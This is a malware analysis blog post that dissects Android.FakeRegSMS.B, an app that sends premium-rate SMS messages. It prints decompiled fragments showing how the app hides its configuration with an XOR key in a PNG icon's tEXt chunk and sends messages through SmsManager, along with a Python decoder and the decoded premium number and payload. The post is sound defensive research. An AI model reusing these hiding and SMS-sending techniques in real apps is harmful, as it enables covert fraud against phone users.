Detailed Analysis of Android.FakeRegSMS.B

Intro: What is Android.FakeRegSMS.B?

This new malware-family emerged some weeks ago in an unofficial Android-Market. It sends SMS messages to premium rated numbers and tries to hide this action from the malware investigators by using some kind of steganography.

After investigating the app, we would declare this app more as FRAUD than as real MALWARE, because the user gets a “Rules” button where he/she can see that the service will send a SMS message to a premium service.

Analysis of the Application and Its Structure

The app requests the following permission:

  • android.permission.SEND_SMS

After the application has been installed successfully, the icon of the app shows up in the dashboard. (The icon was pixelated due to its content)


The interesting part of the application: Steganography!

The first hint that this app is doing something “strange” appears when you look at the following lines:

byte[] arrayOfByte2 = localByteArrayOutputStream1.toByteArray();
int k = paramInt + (-4 + new String(arrayOfByte2).indexOf("tEXt"));
if (k < 0)
   throw new IOException("Chank tEXt not found in png");

Here it seems, that the app is searching for a special string inside a png-picture-file. After searching in the MainActivity we could extract the filename of this png-picture and the responsible lines of code:

invoke-virtual {p0}, Landroid/app/Activity;->getAssets()Landroid/content/res/AssetManager;
move-result-object v0
const-string v2, "icon.png"
invoke-virtual {v0, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v1
iget-object v0, p0, Lcom/termate/MainActivity;->d:Lcom/termate/a;

The picture that the app tries to load into a byte array, is the application's icon which can be found in different resolutions in the directories listed afterwards:

  • /res/drawable-hdpi/icon.png
  • /res/drawable-mdpi/icon.png
  • /res/drawable-ldpi/icon.png

When looking at these files with a hex editor we can locate the "tEXt" chunk very quickly. This chunk of data is identical within all of these three png-files. The binary data can be seen in the next picture:

Normally, this chunk is only allowed to contain printable Latin-1 characters and spaces. In our case there is binary data which looks very suspicious under this circumstances. When looking again in the code of the class-file we can find the following code snippet:

ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream();
for (int i1 = i; ; i1++)
   {
      int i2 = (byte)localDataInputStream1.read();
      if (i2 == -1)
         break;
      localByteArrayOutputStream2.write(i2 ^ "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".charAt(i1 % "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".length()));
   }

These code snippet shows that the app is reading every single byte of the tEXt chunk and is doing a XOR operation with a hardcoded key: f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43

To get the unobfuscated values of the tEXt chunk we are using the python script below.

#!/usr/bin/python
key = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43"
length = len(key)
obfuscatedData = "\x66\x5E\x2B\x7E\x45\x5E\x56\x48\x05\x10\x70\x07\x09\x32\x25\x75\x12\x75\x62\x41\xD2\x20\x60\x68\x31\x05\x56\x19\x13\x51\x40\x12\x0E\x4C\x24\x20\x11\x72\x38\x5E\x07\x27\x79\x12\x00\x19\x03\x1B\x40\x6E\x2F\x33\x35\x53\x54\x34\x4C\x44\x5A\x22\x2B\x53\x12\x24\x51\x1A\x5A\x1C\x66\x37\x02\x53\x70\x23\x2B\x42\x4F\x01\x40\x7F\x0F\x32\x42\x03\x21\x09\x14\x01\x5B\x44\x40\x36\x09\x04\x15\x70\x13\x44\x5B\x32\x29\x53\x22\x0D\x54\x16\x4A\x68\x64\x05\x06\x66\x47\x50\x49\x52\x64\x13\x40\x52\x66\x7E\x47\x42\x49\x5B\x54\x5E\x04\x10\x78\x0B\x04\x04\x18\x77\x12\x76\x65\x72\x7C\x17\x52\x59\x0E\x4E\x07\x5F\x53\x06\x05\x51\x76\x13\x48\x15\x70\x8F\x09"
unObfuscatedData = ""
for x, y in enumerate(obfuscatedData):
    keyIndex = x % length
    unObfuscatedData = unObfuscatedData + chr(ord(y) ^ ord(key[keyIndex]))
print "unobfuscated data: " + unObfuscatedData

After running this small python script we receive the following output:

420 100485111? requestNo1 maxRequestNoauto costLimit150 costLimitPeriod8640 smsDelay15 smsData!l5872600885697126387416947526760l4P?=

With this unobfuscated strings, the following few lines of code of the class-file make some more sense:

if (i < i5){
   String str;
   try{
      str = localDataInputStream2.readUTF();
      if (str.equals("costLimit")){
         this.d = Integer.parseInt(localDataInputStream2.readUTF());
         break label519;
      }
      if (str.equals("costLimitPeriod"))
         this.e = Integer.parseInt(localDataInputStream2.readUTF());
      }
   catch (IOException localIOException){
      localIOException.printStackTrace();
      break label519;
      if (str.equals("smsData"))
         this.f = localDataInputStream2.readUTF();
   }
   catch (NumberFormatException localNumberFormatException){
          localNumberFormatException.printStackTrace();
       }
   if (str.equals("smsDelay"))
      this.h = Integer.parseInt(localDataInputStream2.readUTF());
   else
      this.g.put(str, localDataInputStream2.readUTF());
}

With the output of our python script we get some values for the variables used in the code snippet above:

  • costLimit = 150
  • costLimitPeriod = 8640
  • smsData = l5872600885697126387416947526760l
  • smsDelay = 15

Looking again in our class-file we can extract this code snippet indicating that the application is trying to send a SMS message:

private static boolean a(String paramString1, String paramString2){
   try{
      SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, null, null);
      return true;
   }
   catch (Exception localException){
      while (true)
         Log.e("Logic", "Error sending sms", localException);
   }
}

After we found all these data, we were running the app in the Android emulator to proof our assumptions. When pushing the "Next" button in the main UI (see the picture in the middle of the first figure) the emulator logs an outgoing SMS message:

Decoding the PDU message in this figure we get the following information which is in conformity with our data we encoded from the tEXt chunk of the png-picture:

  • Receipient: 5111
  • Message: 420 10048 l5872600885697126387416947526760l0100

After some investigation, we think that the phone numer 5111 belongs to a service called smscoin, allowing users to donate money to another user via SMS messages. Looking at the "Rules" of the app, the amount of money the user donates to the app author (erohit.biz) is between 15 and 400 Russian ruble.

Sample Information:

sha256:
8a8a246eea40e49b1aaad23fd867b8a9faeb936fe020ba5ce43b4547331a63ea

md5:
41ca3efde1fb6228a3ea13db67bd0722

Mobile-Sandbox Report

3 Replies to “Detailed Analysis of Android.FakeRegSMS.B”

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.